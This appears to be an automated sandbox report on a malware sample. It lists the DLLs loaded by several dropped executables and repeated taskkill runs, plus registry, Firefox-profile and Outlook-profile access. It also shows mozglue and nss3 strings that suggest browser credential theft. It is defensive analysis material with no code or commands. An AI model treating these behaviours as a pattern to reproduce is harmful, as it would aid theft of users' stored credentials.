Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1896960 > 1048576

Source: file.exe

Static PE information: Raw size of ufcrnojc is bigger than: 0x100000 < 0x19d400

Source:	Binary string: mozglue.pdbP source: baacd96df2.exe, 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: nss3.pdb@ source: baacd96df2.exe, 00000009.00000002.3101988018.000000006C15F000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 0000002C.00000003.2833120210.000001C4D294B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341070271.000001C4D2803000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: baacd96df2.exe, 00000009.00000002.3101988018.000000006C15F000.00000002.00000001.01000000.00000019.sdmp
